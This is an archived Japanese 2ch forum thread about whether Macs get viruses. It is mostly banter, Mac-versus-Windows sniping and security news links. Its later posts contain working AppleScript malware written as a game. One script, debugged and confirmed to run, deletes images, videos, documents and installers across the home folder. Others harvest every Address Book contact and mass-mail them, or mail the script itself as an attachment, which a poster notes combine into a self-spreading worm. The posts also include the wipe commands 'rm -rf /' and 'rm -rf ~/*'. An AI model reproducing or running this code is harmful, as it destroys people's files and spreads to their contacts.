MACはウイルスにかからないat MAC
MACはウイルスにかからない - 暇つぶし2ch331:名称未設定
06/12/08 18:47:48 GL+1hILg0
>>329
それを言ったらMacも同じ

332:アジェグ4倍 ◆4xAJeG.COM
06/12/08 20:19:20 Mrh2rCVr0
ウィルス作るマカがそんなにいっぱいいるぐらいなら、
マカの開発手法の本とかももっといっぱい出回ってるべ。
でも、イロイロ探してるけど、ナカナカなくてねぇ。

このアジェグが、マカでのアプリ開発がよくわかんねーうちは、
ウィルスは、そんなに心配せんでいいぞ。

こう見えても、おれはベーマガにプログラムを載せたこともあるんだぞ。

333:名称未設定
06/12/08 21:47:58 ythku/Vx0
こう見えてもって言われても・・・お前だれだよ

334:名称未設定
06/12/10 00:33:13 uT2svs9G0
マックは、BSD用のウイルスやUnix用のウイルス、スクリプトとかの影響ないん?

335:名称未設定
06/12/10 02:38:12 DriDDDlf0
それ、素で俺も尻耐。

336:名称未設定
06/12/10 03:29:01 QV9PMHrE0
いや、石もインテルだしそれは普通にかかるだろ。てか上で張られてた
ドザのいうところの”Macの脆弱性”ってBSDのカーネルに発見された脆弱性だし。

問題はどうやって感染させて、発病させて、感染を広げるかなんだが、そこがな。

337:名称未設定
06/12/10 17:17:14 iaFiPqKY0
URLリンク(www.itmedia.co.jp)


338:名称未設定
06/12/10 18:04:03 8I43vNZp0
>>336
> 問題はどうやって感染させて、発病させて、感染を広げるかなんだが、そこがな。

いちばん簡単なのは、
メールでウイルス送って、これインストールしてみてって書いて、
実行したら、同じメールを自分の名前でパソコン内で
見つかったメールアドレスに送信する。

339:名称未設定
06/12/10 21:09:47 j0HbmTsC0
>>338
そんな簡単なのアップルスクリプトでもできるよ。
でも、広まらないには理由がある。

340:名称未設定
06/12/10 22:34:51 N5MLqs1v0
Appleユーザーがいないから。

341:名称未設定
06/12/10 22:40:07 Iquraa8/0
よりにもよってAppleユーザかよ

342:名称未設定
06/12/10 22:45:02 8I43vNZp0
ただ間違えただけなのに熱くなるな。

343:名称未設定
06/12/10 23:33:19 Iquraa8/0
ネタに突っ込みのつもりだったのだが
まぁどうでもいいけどね

344:名称未設定
06/12/14 01:17:06 mXfU+Acx0
>>342
必死だな

345:名称未設定
06/12/14 11:54:35 9UUVaUvZ0
『Macはウイルスにかからない』

Mac自体がウィルス可している事をドザはまだ知らない。



346:名称未設定
06/12/17 12:49:21 Q363lr750
そ う さ 俺 は い つ も 必 死 さ

347:名称未設定
06/12/17 13:20:07 DsKn3plD0
俺は高い所が大好きさぁー

348:名称未設定
06/12/20 19:39:48 /qLyXOwz0
Windows用のマルウェアは、新しいモノが日に1000以上が作られてるらしい。
反対にMacは年に2つくらい。

349:名称未設定
06/12/20 20:00:19 yC1yrT0n0
流行性ネコシャクシビールスにかからないのび太君

350:名称未設定
06/12/21 14:49:06 Q383K+zj0
だれかMacに感染するウイルスのリンクを貼ってくれ
おれのMacのアンチウイルスがどんな反応をするのか見せてくれ
インストールから2年。一度も警告を見たことがないんだよ。

351:名称未設定
06/12/21 19:17:48 62UKb9Ep0
>>350
Win用のウィルスでも反応するだろ?
ただ単に交友が少ないだけじゃね?

352:名称未設定
06/12/21 19:45:25 T2YpUAwZ0
>>350
ライブドアでギガメーラーに登録してみな。
毎日のようにWindows用ウィルスメールを受信してくれるぞ。

353:名称未設定
06/12/22 09:50:07 4Ewe7FNd0
>>351
言われてみればそうだ・・・
メールなんて携帯だしなぁ。
パソコンのメールなんて買い物するためにあるようなものになってる。
パソコンで交友なんて無いに等しい・・・orz

354:名称未設定
07/01/09 02:03:21 wNilCHdM0
>>351
どんな友達なんだ、そいつらはwww

355:名称未設定
07/01/11 12:17:27 7dILhP9I0
>>353
それも一応セキュリティとして成り立っている

356:名称未設定
07/01/11 14:42:27 Ls7o4aO10


357:名称未設定
07/01/11 15:01:23 H0BDiAGj0
Windowsみたいに、亜種が自動で増えるようなSFっぽいのが出回らないかなぁ。

358:名称未設定
07/01/11 23:00:26 0CJepYui0
Macにはまったく通用しません

359:名称未設定
07/01/13 10:15:28 252uAysO0
レゴがレゴを組み立てるっての、最近新聞に載ってたねえ

360:名称未設定
07/01/16 03:59:31 KOK9z5+q0
もうウイニー止めろって。ばかか。

URLリンク(www.asahi.com)


361:名称未設定
07/01/16 09:51:21 3Dl3WvEM0
金子氏の料金モデル云々の話を思い出すよ。
需要があるからいつまでもウィニーが消えない。
ウィニーの需要を打ち消せるような新しいサービスをはじめないと
たぶんいつまでもウィニーは消えないんじゃないかな。


362:名称未設定
07/01/19 18:31:29 N0jI1Rxe0
>>360
>朝日新聞の県庁所在地の総局長の私有パソコンからファイル交換ソフト
>「ウィニー」を介して、業務に関する情報が流出していたことが15日、
>分かった。
こういう奴らもウィニーやってるんだなw
公務員や貧乏人だけかと思ってたよ。
もしかして天下りかな?

363:名称未設定
07/01/25 22:50:08 FmMMMMF60


364:名称未設定
07/01/25 22:51:09 FmMMMMF60
うほ!いいID

365:名称未設定
07/01/27 19:33:14 TOWtuNvw0
>>362
ある程度の年齢になって家族もあって地位もあると
エロビデオも借りにくいんじゃね?

366:名称未設定
07/01/28 09:44:07 lLrJ64Fj0
まるでウイニー だ け 使ってて被害にあったみたいな言い方。
ちゃんと「ウイニーで拾ったいかがわしいファイルを開こうとした」と
言ってくれ。

367:名称未設定
07/01/29 06:26:16 qz+/00EL0
本人はウイニーが入っているのを知らなかった、
というようなことを言っている、と読んだような……

368:名称未設定
07/01/29 12:53:04 oD9pkqCx0
やっぱりWindowsを使っていて被害にあったと書けないんだな。

369:名称未設定
07/02/03 00:04:38 EnJYLjPj0
>>367
エロ動画ファイルの保存場所には気づいたわけだ。

370:名称未設定
07/02/03 21:35:47 ZxcxZn+F0
で、キンタマウィルスってMacでは動かないんですか?

371:名称未設定
07/02/04 21:48:23 DsqkK0x+0
また誤解を招く新CMきたね

372:名称未設定
07/02/04 21:50:55 B6mukgHw0
今のところ悪質なウィルス一つも存在しないMacなんで、
ウィルスにかからないといわれても否定できないっていうのが
現実だな。

373:名称未設定
07/02/04 21:54:25 4ohsQNph0
ウィルスにも見向きもされないマックというのが真実だろ。
誰も異存はないはずだ!!

374:↑
07/02/04 21:57:47 tbb2rpqR0
IDが梅夫と一緒

375:名称未設定
07/02/04 21:58:26 HEGOocJ3O
UNIXのウィルス=Macのウィルスじゃないの?

376:名称未設定
07/02/04 22:05:19 tbb2rpqR0
Macのウィルス=>>373なのでは?

377:名称未設定
07/02/04 22:18:30 DNSQufqX0
ああ、そういやPPCコードからintelコードになったからPPC時代のウィルスは
もう最新のMacじゃ動かないんだっけな。

いまならウィルスにかからないつっても問題ないな。

378:名称未設定
07/02/04 22:22:20 3ucmpb6I0
MacのCM、おもしろいね
「あ、ウイルス」といったらパソコンくんがMacの後ろに隠れたよw
やっぱMacは最高の高性能マシンだね

379:名称未設定
07/02/04 22:29:28 CmBXHcAN0
>>377
> ああ、そういやPPCコードからintelコードになったからPPC時代のウィルスは
> もう最新のMacじゃ動かないんだっけな。

PPC時代のウイルスを動かすためにRosettaがある。

380:名称未設定
07/02/04 23:12:24 HEGOocJ3O
ロゼッタちゃんは小悪魔だなあ。

381:名称未設定
07/02/05 08:43:50 h115+uBb0
猫のインフルエンザは人間にかからない。

382:名称未設定
07/02/05 11:22:50 j3OrL49P0
しかしCMではWindowsのウイルスはMacにはかからないと言っているわけではない

383:名称未設定
07/02/05 14:21:38 VrPa/zYm0
正直なところウィルス対策したことないまま10年経った。
危機感なさ過ぎですか?


384:名称未設定
07/02/05 15:34:24 q5dueWj90
>>378
未だに、ウィルス確認用にMacが活躍してたりするのか?

385:名称未設定
07/02/05 17:16:28 7LN1bD970
On Mac OS X Viruses
URLリンク(www.osxbook.com)

Mac OS X Internals の著者Amit Singh氏(現googleのMacマネージャ)のブログ。
過去のUNIX用に作られたウイルス等に言及しつつ、語っておられます。
実際にCで書かれたウイルスも公開してます。

要約すると、ウイルスを作ることはUNIXだろうが技術的には簡単。
しかし、それを広めることは別の問題である。
UNIXはWindowsよりも管理者権限などで広めにくいとしつつも、
OSXではadminが設定されたユーザーの権限が大きいので、
危うさを秘めている。注意しましょうね。

386:名称未設定
07/02/05 17:40:13 W+U7qxkVO
実証コードは何度も出回ったが、実害はゼロなのが現実。

387:名称未設定
07/02/05 19:32:32 ZpYbaTf80
spotlightをもし外部のアクセスで操作されれば、
パソコンの中身は丸見えだと思うけど、そんな危険性はないの?

388:名称未設定
07/02/05 19:37:06 nRVFiz990
>>387
先にVistaで実害が出そうだw

389:名称未設定
07/02/05 21:23:02 HvLsbHr90
>>387
操作されればね。

どうやってそれやるプログラムを不特定多数のマシンに
実装させるかってのが「ウィルス」が実害をもつかどうかの関門でしょ。
アプリを自由に仕込めるなら、どんな情報流出でも可能だよ。


390:名称未設定
07/02/05 21:49:49 DOVhm6c90
>>389
セキュリティホールを利用すれば簡単だよ。

391:名称未設定
07/02/05 23:28:51 HvLsbHr90
セキュリティホールって、そのへんに落ちてるもんじゃないよw



冷蔵庫に象を入れる方法知ってるかい?

392:名称未設定
07/02/06 00:32:18 AEJGxrb40
>>391
スモールライト?

393:名称未設定
07/02/06 09:19:18 hD3VpSVg0
>>382
猫のインフルエンザしかないので人間はウィルスにかからない。

394:名称未設定
07/02/06 13:45:38 +aribEbQ0
Mac OS Xに新たな脆弱性、Safariで悪用も
URLリンク(www.itmedia.co.jp)
Mac OS Xのバグ情報を公開しているMonth of Apple Bugs(MOAB)プロジェクトで報告され、
コンセプト実証コードも公開されている。


395:名称未設定
07/02/06 13:48:47 +aribEbQ0
Mac OS Xに新たな脆弱性,パッチ適用済み10.4.8にも影響
URLリンク(itpro.nikkeibp.co.jp)


396:名称未設定
07/02/06 13:56:58 H16H5ZYx0
たしかにゲイシ様の言うとおりですね ( ´,_ゝ`)プッ

>このほかにもGates氏は、VistaはMacよりセキュリティでもリードしていると主張している。
>
>「ここ最近、セキュリティ関係者は毎日Macの脆弱性を見つけている。毎日、マシンが完全に
>乗っ取られてしまうような深刻な脆弱性を発見しているのだ。Windowsマシンの場合、そのような
>脆弱性は月に一度見つけらるかどうかだろう」(Gates氏)

URLリンク(review.japan.zdnet.com)

397:名称未設定
07/02/06 15:28:47 Cao4nS/r0
どうぞお入り下さい。

398:名称未設定
07/02/06 23:20:15 iioGLmqQ0
セキュリティホールを見つける
Mac用ウィルスを作る。
穴にウィルスを入れる。

わあ、すごい簡単だねパパ

399:名称未設定
07/02/07 01:21:13 L4kM9jpQ0
相手を見つける
パンツを脱ぐ。
穴に入れる。

わあ、すごい簡単だねパパ

5万也

わあ、すごい出費だねパパ

400:名称未設定
07/02/11 10:30:22 Yn8rihpI0
>>378
まさにそういう使い方をうちではしてる。
ネットは基本的にMac側、そちらで出来ない事はWin
Win側で落としたファイルは、基本的にはMac側で先に開く。

つうか脆弱性みつかっても誰も相手にしないMac、
住人が少な過ぎて犯罪が起こらない孤島みたいな存在。
そんな孤島の住み心地が好きな私たち、って感じだよなMacは。

401:名称未設定
07/02/11 12:40:16 gmQJr8y+0
孤島というより、孤高なんじゃね?
かっこいいよねMac

402:名称未設定
07/02/11 22:24:01 xf7V6WEK0
孤高と言うより恥垢だろ(w)

403:名称未設定
07/02/11 23:02:52 AqTuSDe40
小学生並のギャグセンス乙

404:名称未設定
07/02/12 02:20:35 ZQRkadCd0
なんかOFFICEのインストーラーのふりをしてダブルクリックすると
ユーザーディレクトリ全消去。ってのならあるんだが、
そういう古典的なのは現在ウィルスとは言わないしなぁ・・・

405:名称未設定
07/02/12 10:29:03 z1SqSmaR0
それは単なるトラップでしょ
自己増殖能力持たないのはウィルスじゃないかと。


406:名称未設定
07/02/12 11:38:58 NIJVclae0
普通にウイルスとカテゴライズされていますよ。

407:名称未設定
07/02/12 13:25:05 z1SqSmaR0
それじゃあ出来が悪くてファイルが消えたり壊れたりする
アプリは全部ウイルスだな。


408:名称未設定
07/02/12 13:38:17 7EVA3xYW0
>>407
普通にウィルスとして扱われていますよ。

409:名称未設定
07/02/12 13:43:50 z1SqSmaR0
じゃあいつだかのバージョンのiTunesインストーラーでディレクトリ名にスペースがあると
ファイルがごっそり消えるやつ、
あれウイルスということになるけど、シマンテックに登録されてるのを示してくれ。


410:名称未設定
07/02/12 18:20:45 ZQRkadCd0
>>404はシマンテックウィルスデータベースに存在する
数少ないOSX用ウィルス(10種)の一つ。実態はただのApplescript。

基本的にこの手の自分でダブルクリックして感染系のばっかりだなOSXのは。
感染報告数1、推定感染数1-50とか、検証ウィルスとかそんなんばっか。


411:名称未設定
07/02/12 19:36:27 z1SqSmaR0
>実態はただのApplescript。
なさけなさ杉
どうせ作者みずから報告して登録してもらったんだろ?
なんかなあ。それって胸を張ってウイルスと言えないだろ。


412:名称未設定
07/02/13 12:27:10 rJia1xwe0
MACでもキンタマやシャレタマに感染することがあるんでしょうか?

413:名称未設定
07/02/14 12:32:06 bUlLNHxV0
それ以前に使ってるヤツがキンタマやシャレタマに完全に犯されている罠。

414:名称未設定
07/02/14 14:36:29 2XuaQ1HS0
>>412
ない。

415:名称未設定
07/02/14 17:46:06 tUlLfHbj0
OSXではないが、Mac上でWindowsを動かしてりゃありえるけどな。

416:名称未設定
07/02/15 08:25:14 HgtDnO6O0
こんなメールが来てました。サブジェクトが面白い。

差出人 Allume Systems - A Smith Micro Company <AllumeSystems@reply.digitalriver.com>
返信先 Allume Systems - A Smith Micro Company <AllumeSystems@reply.digitalriver.com
宛先 Valued Customer <○△□@gmail.com>
日付 13 Feb 2007 12:18:59 -0600

件名 Macs don't get viruses. THINK AGAIN! VirusBarrier only $59.9

送信元 ntls.digitalriver.com

417:名称未設定
07/02/15 11:01:56 9jYSWwOB0
>>413-415
ありがとうございます。安心しました。

418:名称未設定
07/02/15 16:05:16 89+kAtcY0
417 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:00:04 ID: nPM2XMyQ0
1日遅れのバレンタイン
URLリンク(up3.viploader.net)

419 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:06:45 ID: fOXCS/PL0
>>417
img_01_0.jpg.exe ←これなに?Jpgじゃないみたいだけど

420 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:09:44 ID: CMiey2wD0
609 名前:/名無しさん[1-30].jpg[sage] 投稿日:2007/02/14(水) 19:11:39 ID:/fA+R1D50
>>562
viploader110564.zip落としてみました。
img_01_0.jpg.exe
ウイルストータルで
CAT-QuickHeal 9.00 02.13.2007 (Suspicious) - DNAScan
Ikarus T3.1.0.31 02.14.2007 Email-Worm.Win32.Bagle.BR
Sunbelt 2.2.907.0 02.09.2007 VIPRE.Suspicious
検出、PC有害。
カスペ他に検体提出してきまつ、ノシノシ。




419:名称未設定
07/02/15 16:06:11 89+kAtcY0
421 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:10:09 ID: nPM2XMyQ0
ゴメン誤爆
夏帆とは関係のないファイル
おまけに実行ファイルだし・・・

422 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:12:49 ID: ob5+Bo9P0
何処の誤爆?

423 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:13:35 ID: O7eKOAuU0
>>417を解凍しちゃったんだぜ?

424 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:15:09 ID: nPM2XMyQ0
>>422
セキュ板

425 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:28:24 ID: O7eKOAuU0
>>424
なんか登録してた顔文字が消えたんだけど・・・・




420:名称未設定
07/02/15 16:06:43 89+kAtcY0
426 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:30:22 ID: fOXCS/PL0
俺はMacだからどうでもいいけど

427 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:32:27 ID: O7eKOAuU0
>>422
そのスレに誘導してくれ

428 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:35:15 ID: nPM2XMyQ0
>>425
すまねー 
大手ベンダーの定義が反応しないとかで今騒いでいて
踏んだ人にはリカバリを薦めているのでたぶん暴露ウイルスの類だと思う

ホントにごめんなさい


421:名称未設定
07/02/15 16:07:14 89+kAtcY0

429 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:36:33 ID: znfSzDMB0
切腹して詫びろ

430 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:37:12 ID: O7eKOAuU0
>>428
いやああああああああああああああああああああああああああ

431 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:47:26 ID: O7eKOAuU0
>>428
いいから誘導してくれ
セキュ板のスレに

432 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:51:43 ID: GAugjbMc0
なんか画像でも置いてけ

433 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:53:24 ID: O7eKOAuU0
おれの顔文字返せーーーーウワーン

434 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 16:02:55 ID: fOXCS/PL0
かわいそうにw



422:名称未設定
07/02/15 16:08:28 89+kAtcY0
Winな人>>418のリンク踏むなよ

423:名称未設定
07/02/15 16:23:20 +OjmJvxy0
笑い事じゃねーよww

424:名称未設定
07/02/15 16:46:43 cpGBBzk10
なんだっけな、感染するとOutlookでウィルスメールをばらまく
Windows用ウィルスが蔓延した時に、ウィルス付きメールをMacで
開くと四角い添付画像ファイルに見える(Macで実害なし)んで
「うちにも来たよウィルス君」「あーこれかー」「うちにもキター!」
ってなんかほのぼのした祭りになってたっけな。

425:名称未設定
07/02/15 17:16:51 Wt10Qr6i0
ウイルス被害っていうけど、一般ユーザが被害を被るのは
こういう自爆的なものが大半だよなぁ。

426:名称未設定
07/02/15 17:31:46 iyEIJp3e0
>>391
冷蔵庫を開けて、その中に象を入れて、閉める。

427:名称未設定
07/02/16 09:13:53 zAEMir7m0
これ一休、ちと参れ。

428:名称未設定
07/02/24 14:21:58 qzX1g7vW0
MacはPCのウイルスに感染しません。※1



          ※1 ただしMacのウイルスには感染します。(ここは小さく)

429:名称未設定
07/02/27 19:19:06 UGfwGSgm0
Macのウィルスはあるよ。
「Macはウィルスに感染しません!」って、デマウィルスだよね。

430:名称未設定
07/02/28 04:37:38 dm6BZ6jz0
ウイルスにバイラスは感染しません。

431:名称未設定
07/02/28 10:21:06 dOsxh68I0
ウイルスはあるかもしれないけど、
10年以上ウイルス対策せずにMacを使ってて
一度も感染したことはありません。

432:名称未設定
07/02/28 17:20:17 otPMUGXQ0
tell application "Finder" to set homeDir to POSIX path of (path to home folder)
do shell script "find "& quoted form of homeDir & quoted form of "-name *.jepg -delete"
do shell script "find "& quoted form of homeDir & quoted form of "-name *.jpg -delete"

わーい。ウイルスできた!

433:名称未設定
07/02/28 17:52:24 dm6BZ6jz0
>>432
>わーい。ウイルスできた!
きさまーー!!!!!
ゆるさぬーーー!!!
お宝画像が全部消えちまった!!!!!!!!

434:名称未設定
07/02/28 18:07:13 otPMUGXQ0
わーい。被害者第一号だ!

property extList : {jpg, jpeg, mov, rm, png, gif, tif, tiff, aiv, wav, mpg, wmv, wma}

tell application "Finder" to set homeDir to POSIX path of (path to home folder)

set cmd1 to "find "& quoted form of homeDir & quoted form of "-name *."
set cmd2 to quoted form of " -delete"

repeat ext in extList
do shell script cmd1 & ext & cmd2
end repeat

もっと凶悪にしてみたよ!動作確認は怖くてしてないよ!

435:名称未設定
07/02/28 19:41:53 4HPvhfiR0
スクリプトエディタにコピペしてみたけど、
構文エラー
変数jpgが定義されていません。
...て出たよ。

436:名称未設定
07/02/28 20:48:38 jqzA0Hup0
いくら検証してないからってグチャグチャすぎるだろ。

property extList : {"jpg", "jpeg", "mov", "rm", "png", "gif", "tif", "tiff", "aiv", "wav", "mpg", "wmv", "wma"} as list

tell application "Finder" to set homeDir to POSIX path of (path to home folder)

set cmd1 to "find " & quoted form of homeDir & " -name *."
set cmd2 to " -delete"

repeat with ext in extList
do shell script cmd1 & ext & cmd2
-- do shell script "echo " & cmd1 & ext & cmd2
end repeat

ホームフォルダ内に存在する動画、画像の多くを完全に消去するスクリプトなので、実行はお薦めできません。



437:名称未設定
07/02/28 20:50:16 g5shAS9O0
>>436
共謀罪

438:名称未設定
07/02/28 21:07:19 jqzA0Hup0
共謀罪とやらを調べてみましたが、
そもそも「組織的な犯罪集団」を満たしていませんから、
適用範囲外ですね。

また、実行すれば何が起こるかを明記してある以上、
何らかの法に背く行為ではないと思います。

439:名称未設定
07/03/01 06:38:23 Wn6KeLNY0
>>436
今度はうまく実行できたよ。

440:名称未設定
07/03/01 08:44:04 K3SAFVaq0
意欲的な犠牲者が一人(`・ω・´)

441:名称未設定
07/03/01 09:19:08 JRPPfrCg0
注意Mac用のウィルスです.app                       ホントハチガウヨ.exe

442:名称未設定
07/03/02 00:22:08 GT7xtDhH0
ばかにされてるーーー!!(><)でもいいこと聞いた。
アドレスブックに登録してるメアドにメアドの一覧を送ります!!!
これで大丈夫?逮捕じゃないのね?
set l to {}
tell application "Address Book"
set a to people
repeat with p in a
try
set c to value of email 1 of p as string
end try
set end of l to c
end repeat
end tell
set cont to separateEmail(l)
repeat with e in l
tell application "Mail"
set m to make new outgoing message
make new to recipient at end of to recipients of m with properties {address:e}
set content of m to my cont
set subject of m to "My Freands"
send m
end tell
end repeat
on separateEmail(l)
set r to ""
repeat with i in l
set r to r & (ASCII character (10)) & i
end repeat
return r
end separateEmail
動作確認は怖くてしてないよ!

443:名称未設定
07/03/02 00:35:38 BuISm6vx0
su
rm -rf /

444:名称未設定
07/03/02 21:47:37 GT7xtDhH0
自分自身を添付してメールを送信するアップルスクリプト。
アプリケーションとして保存しよう!
まぜるな危険!!!

set p to path to me

tell application "Mail"
set m to make new outgoing message

make new to recipient at end of to recipients of m with properties {address:"hoge@huge"}

-- set visible of m to true
set subject of m to "変なの見つけた"
set content of m to "とりあえず使ってみて(^^)" & return

tell content of m
make new attachment at after the last paragraph with properties {file name:p}
end tell

send m
end tell


445:名称未設定
07/03/03 03:58:37 D1DiYuWj0
rm -rf ~/*

↑マジ感動!

446:名称未設定
07/03/06 11:39:52 UmvZZ1y80
失格です
URLリンク(news.bbc.co.uk)

447:名称未設定
07/03/06 17:07:26 kA56cNAa0
時々SystemDoctorのウインドウが
デスクトップに開くので、俺のMac
やられてるみたいだw

448:名称未設定
07/03/07 23:57:42 Ty3vw/b70
「Macで楽勝、もう春です。」

449:名称未設定
07/03/14 20:55:59 5ax9W+ON0
>>442 と >444 を組み合わせるとアドレス帳に登録されたアドレスに
自分自身をメールで送信するアップルスクリプトになるけど、これってウイルスになるの?

アンチウイルスソフトが入ってるとちゃんと食い止められるの?
すごく気になるけど、アンチウイルスソフト持ってないから試せない。

450:名称未設定
07/03/15 00:16:23 Ptonu08M0
脳みそ媒介に増殖すればウイルスだな。

451:名称未設定
07/03/15 00:24:49 7xX/wG200
>>436
死ぬ間際に実行して、恥ずかしいファイルを全削除
素晴らしい!

452:名称未設定
07/03/15 02:06:10 EtVqyTmq0
ここのスレ、ノートンが反応するんだが。

453:名称未設定
07/03/15 02:15:11 qttl4b7e0
反応するね。まあ他のスレでもよくあることだよ。

454:名称未設定
07/03/15 17:37:17 rkuLtH/K0
坂井輝久 の検索結果
URLリンク(www.google.com)



455:名称未設定
07/04/01 09:49:00 Kv48Zr6Z0
くそ!
ついに、ウイルスにやられたぜ。
Macだからって、油断は禁物だ・・・・・
 死ぬ、死ぬ、先に逝きま~~~す

456:名称未設定
07/04/02 04:48:45 NiKnj1Mh0
インフルエンザか。死ぬとはおおげさだな。お大事に。

457:名称未設定
07/04/03 07:12:42 r3zm9NvK0
そのウイルスはMacからうつらんだろw

458:名称未設定
07/04/03 15:59:46 WNoiYvEk0
マクド。

459:名称未設定
07/04/16 07:33:10 mLNqX7oy0
このスレ、削除できねぇwwwwwwwww

460:名称未設定
07/05/04 05:29:50 4RTsjH910
馬蚊(マカ)はMacなんか捨ててLinux使えばいいのに
7.04
URLリンク(www.ubuntulinux.jp)


461:名称未設定
07/05/16 19:48:30 zSAnz8Ua0


462:名称未設定
07/05/16 23:40:02 YkKne23J0


463:名称未設定
07/05/17 01:06:28 pVSwSi1N0


464:名称未設定
07/05/18 06:25:55 pVNyhNfY0


465:名称未設定
07/05/20 10:54:43 z+/b6xpb0
そのウイルス凶暴につき

466:名称未設定
07/05/21 21:16:43 MFpaCAY40
人間もMacのようになれたらいいのにな。
風邪ひいてかなりダルイよ。

467:名称未設定
07/05/23 01:56:32 QcUy5i7c0
Macではしかが流行

468:名称未設定
07/05/23 17:33:35 B+R1ffZL0
すでにかなりの熱が出ています

469:名称未設定
07/05/28 00:49:24 on9OoIPJ0
Macはウイルスにかからない

そんな迷信もありました。

470:名称未設定
07/05/28 09:11:52 GWBJHs070
-----Original Message-----
From: XXXX@xxxx.com
題名: ウィルス警報
重要度: 低
DEAR RECEIVER,

あなたはたった今、新しいルーマニア製ウィルスを受け取りました。 ルーマニアではそれほどテクノロジーが発達していないので、これは「手作業」ウィルスです。 どうかハードディスクの中のファイルを全部消去して、このメールを知り合い全員に送ってください。

471:名称未設定
07/05/28 09:48:34 iiX45vfk0
>>470
テクノロジーは発達していないが、翻訳能力は最高レベルに達しているな。

472:名称未設定
07/05/28 19:33:26 +PASmnNJ0
マックがいいのは、まずウイルスやスパイウエアーでの被害が最小限で、悪意を感じるソフトが少ないし、
自分の思いどうりに管理維持できるって事。ウインドウズの時は細かくカスタマイズできたり
ソフトが多い事は気に入ってたけど、多い分害悪も多くて、レジストリを改変してしまうソフトを
ついでの強制インストールしたりするのが多すぎる。レジストリー関連が複雑すぎて、ウイルスや熱が原因の再起動でドス画面ばかり出て
ストレスが溜まっていた。その頃からマックはデザインいいソフトが多いんで興味があったけど、
OS9以前のデザインはどうしても好きになれなかったし、スペック見てもDVDすらまともに再生できないので
買わずに様子伺ってた。転機が訪れたのはppcminiが発売された時でこれだ!と思って飛びついた。
実際マックにして正解だったし、正直今の外付け4テラのシステムをウインドウズで管理維持できるかと言えば
自信がない。仮に不具合があっても元に戻せるのが決定的な違いで、ウインドウズはメモリやられてドス画面で
ループしだすとどうにもならない。自分は45nmのCPUのMacProまで購入控えるけど、今のminiでも全く問題ないです。


473:名称未設定
07/05/28 21:41:39 60lfZokj0
ありえねーw
どうみてもウイルス作る側の極道ヤクザがウイルス対策支援?ww
ま、ただの護身グッズの類いなんだろうけどw
URLリンク(www.geocities.jp)

474:名称未設定
07/05/30 02:08:39 qHS22Pme0
>>472は、布教活動のマニュアルにありそうな文章だな。

475:r
07/05/30 07:31:06 SP6ZMh1q0
でもやっぱ、CMどおりMacの方がWindowsよりもずっと安全だと思う。
日本の方がヨハネスブルグよりも安全だ、というような意味で。

476:名称未設定
07/05/30 22:08:55 h/pcx1WlO
世の中CM通り行けば苦労しないんだけどね。

477:名称未設定
07/05/30 22:55:36 qHS22Pme0
CM通りに行けば今頃Macはシェア30%くらい行ってるだろう

478:名称未設定
07/05/31 02:57:07 u+8RPAYn0
Mac OS Xを狙うエクスプロイトコード公開、パッチからわずか1日足らずで
URLリンク(www.itmedia.co.jp)

さすがセキュリティに強いMacだな。


479:名称未設定
07/05/31 03:23:21 QWL28bQx0
リモートからのコード実行につながる恐れか。

480:名称未設定
07/05/31 07:14:57 9r1Ejw160
property extList : {"app", "dmg", "rtf", "cwk", "doc", "txt", "iso", "webarchive", "html"} as list

tell application "Finder" to set homeDir to POSIX path of (path to home folder)

set cmd1 to "find " & quoted form of homeDir & " -name *."
set cmd2 to " -delete"

repeat with ext in extList
do shell script cmd1 & ext & cmd2
-- do shell script "echo " & cmd1 & ext & cmd2
end repeat

書類とかインストーラ用

481:名称未設定
07/05/31 16:14:35 ENb6scfCO
Macそのものが社会的にみてウイルス

482:名称未設定
07/05/31 16:31:34 w4cBS7yy0
>>481
それは言えてる

483:名称未設定
07/06/02 01:02:45 hUbS61vP0
感染力低すぎ。

484:名称未設定
07/06/02 01:44:10 2JV9NHCn0
わかってないな。だがそこが良い。

485:名称未設定
07/06/02 02:30:06 hQfB4R/L0
一度Macというウイルスにかかると徹底的に搾取されるらしいな。

486:名称未設定
07/06/02 02:33:54 2JV9NHCn0
わかってないな。だがそれで良い。

487:名称未設定
07/06/02 02:35:08 8VqQdbB60
流し排水口のゴミ取りの金属製のかごのヌメリがなかなか取れません。
どうしたら良いでしょうか

488:名称未設定
07/06/02 06:52:35 O8Q2IbfI0
>>487
パンチングメタルのを買え

489:名称未設定
07/06/02 18:02:34 ZCNj2WMn0
<青森脱北者>静かな漁港騒然と 小型の木造船に食糧積み

「自分たちは北朝鮮から逃げてきた」―。

490:名称未設定
07/06/02 18:31:23 RfhtHlb1P

感染しても絶対数が少ないから伝搬しないんだ世なぁ・・・・

491:名称未設定
07/06/03 02:48:20 jTItc+e10
「伝播」(でんぱ)を「でんぱん」と読んでないか?
いや、わざとならいいんだが。スマソ

492:名称未設定
07/06/03 20:38:55 1ht31uJ30
MACはウイルスにかからない
とマックユーザーは言う。
しかしマックユーザーは妄想癖にかかっている。

現実を見ようよ。つらいけど、逃避しないでさ。

493:名称未設定
07/06/03 22:04:17 OogX2djj0
ID:ToWy7JtE0 の発言まとめ

朝鮮
黙ってろよ糞ガキ
半万年ほどロムっとけよ坊や( ´,_ゝ`)プッ
妄想でしか語れないなら
ソースを示せ
お前は頭がおかしいから
ドザチョンが上げ荒らししてる
さっさと出て来いや
お前に構ってる暇ないんじゃボケが
基地外のふりして誤魔化す恥ずかしいドザチョンw
雑魚だからスルーな
ドザチョンって生きてて恥ずかしくないの?
女の子も見てみたい
おい小僧
誰が爺だ?

ここにも来ますよ
    ↓

